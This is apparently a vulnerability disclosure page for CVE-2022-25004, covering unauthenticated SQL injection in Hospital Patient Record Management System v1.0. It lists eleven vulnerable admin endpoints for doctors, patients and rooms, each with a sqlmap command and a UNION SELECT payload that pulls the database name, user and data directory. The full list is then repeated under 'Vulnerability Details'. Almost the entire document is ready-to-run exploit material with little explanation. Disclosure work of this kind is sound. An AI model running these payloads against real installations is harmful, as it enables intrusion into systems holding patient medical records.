Headline
CVE-2022-25004: HPRMS-SQL_injection/SQL injection.md at gh-pages · 09-by-ly/HPRMS-SQL_injection
Hospital Patient Record Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in /admin/doctors/manage_doctor.php.
Permalink
Cannot retrieve contributors at this time
Exploit Title: HPRMS - SQL injection****Vendor Homepage: https://www.sourcecodester.com/****Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html****Version: HPRMS 1.0****Tested on: Win10, Apache
Description
Some foreground SQL injection issues in HPRMS v.1.0, Available without admin login
Vulnerability point
- http://localhost/hprms/admin/doctors/view_doctor.php?id=1
- http://localhost/hprms/admin/doctors/manage_doctor.php?id=1
- http://localhost/hprms/admin/patients/manage_patient.php?id=1
- http://localhost/hprms/admin/patients/view_history.php?id=1
- http://localhost/hprms/admin/patients/manage_admission.php?id=1
- http://localhost/hprms/admin/patients/manage_history.php?id=1
- http://localhost/hprms/admin/patients/view_admission.php?id=1
- http://localhost/hprms/admin/room_types/view_room_type.php?id=1
- http://localhost/hprms/admin/room_types/manage_room_type.php?id=1
- http://localhost/hprms/admin/rooms/view_room.php?id=1
- http://localhost/hprms/admin/rooms/manage_room.php?id=1
exploit
python sqlmap.py -u http://localhost/hprms/admin/doctors/view_doctor.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/doctors/manage_doctor.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/patients/manage_patient.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/patients/view_history.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/patients/manage_admission.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/patients/manage_history.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/patients/view_admission.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/room_types/view_room_type.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/room_types/manage_room_type.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/rooms/view_room.php?id=1
python sqlmap.py -u http://localhost/hprms/admin/rooms/manage_room.php?id=1
verify
- http://localhost/hprms/admin/doctors/view_doctor.php?id=-7873’ UNION ALL SELECT NULL,(select database()),(select user()),@@datadir,NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/doctors/manage_doctor.php?id=-1485’ UNION ALL SELECT NULL,(select database()),(select user()),@@datadir,NULL,NULL,NULL,NULL-- -
- view-source:http://localhost/hprms/admin/patients/manage_patient.php?id=-93’ UNION ALL SELECT CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/patients/view_history.php?id=1’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user()))-- -
- view-source:http://localhost/hprms/admin/patients/manage_admission.php?id=1’ UNION ALL SELECT CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/patients/manage_history.php?id=1’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL-- -
- view-source:http://localhost/hprms/admin/patients/view_admission.php?id=1’ UNION ALL SELECT NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/room_types/view_room_type.php?id=-3985’ UNION ALL SELECT NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL-- -
- http://localhost/hprms/admin/room_types/manage_room_type.php?id=-53’ UNION ALL SELECT NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/rooms/view_room.php?id=-87’ UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL-- -
- http://localhost/hprms/admin/rooms/manage_room.php?id=-27’ UNION ALL SELECT NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL-- -
Vulnerability Details
Vulnerability Details 1 exploit:python sqlmap.py -u http://localhost/hprms/admin/doctors/view_doctor.php?id=1 verify:http://localhost/hprms/admin/doctors/view_doctor.php?id=-7873’ UNION ALL SELECT NULL,(select database()),(select user()),@@datadir,NULL,NULL,NULL,NULL-- - Vulnerability Details 2 exploit:python sqlmap.py -u http://localhost/hprms/admin/doctors/manage_doctor.php?id=1 verify:http://localhost/hprms/admin/doctors/manage_doctor.php?id=-1485’ UNION ALL SELECT NULL,(select database()),(select user()),@@datadir,NULL,NULL,NULL,NULL-- - Vulnerability Details 3 exploit:python sqlmap.py -u http://localhost/hprms/admin/patients/manage_patient.php?id=1 verify:view-source:http://localhost/hprms/admin/patients/manage_patient.php?id=-93’ UNION ALL SELECT CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL-- - Vulnerability Details 4 exploit:python sqlmap.py -u http://localhost/hprms/admin/patients/view_history.php?id=1 verify:http://localhost/hprms/admin/patients/view_history.php?id=1’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user()))-- - Vulnerability Details 5 exploit:python sqlmap.py -u http://localhost/hprms/admin/patients/manage_admission.php?id=1 verify:view-source:http://localhost/hprms/admin/patients/manage_admission.php?id=1’ UNION ALL SELECT CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - Vulnerability Details 6 exploit:python sqlmap.py -u http://localhost/hprms/admin/patients/manage_history.php?id=1 verify:http://localhost/hprms/admin/patients/manage_history.php?id=1’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL-- - Vulnerability Details 7 exploit:python sqlmap.py -u http://localhost/hprms/admin/patients/view_admission.php?id=1 verify:view-source:http://localhost/hprms/admin/patients/view_admission.php?id=1’ UNION ALL SELECT NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - Vulnerability Details 8 exploit:python sqlmap.py -u http://localhost/hprms/admin/room_types/view_room_type.php?id=1 verify:http://localhost/hprms/admin/room_types/view_room_type.php?id=-3985’ UNION ALL SELECT NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL-- - Vulnerability Details 9 exploit:python sqlmap.py -u http://localhost/hprms/admin/room_types/manage_room_type.php?id=1 verify:http://localhost/hprms/admin/room_types/manage_room_type.php?id=-53’ UNION ALL SELECT NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL-- - Vulnerability Details 10 exploit:python sqlmap.py -u http://localhost/hprms/admin/rooms/view_room.php?id=1 verify:http://localhost/hprms/admin/rooms/view_room.php?id=-87’ UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL-- - Vulnerability Details 11 exploit:python sqlmap.py -u http://localhost/hprms/admin/rooms/manage_room.php?id=1 verify:http://localhost/hprms/admin/rooms/manage_room.php?id=-27’ UNION ALL SELECT NULL,NULL,CONCAT((select database()),0x7e,(select user())),NULL,NULL,NULL,NULL,NULL-- -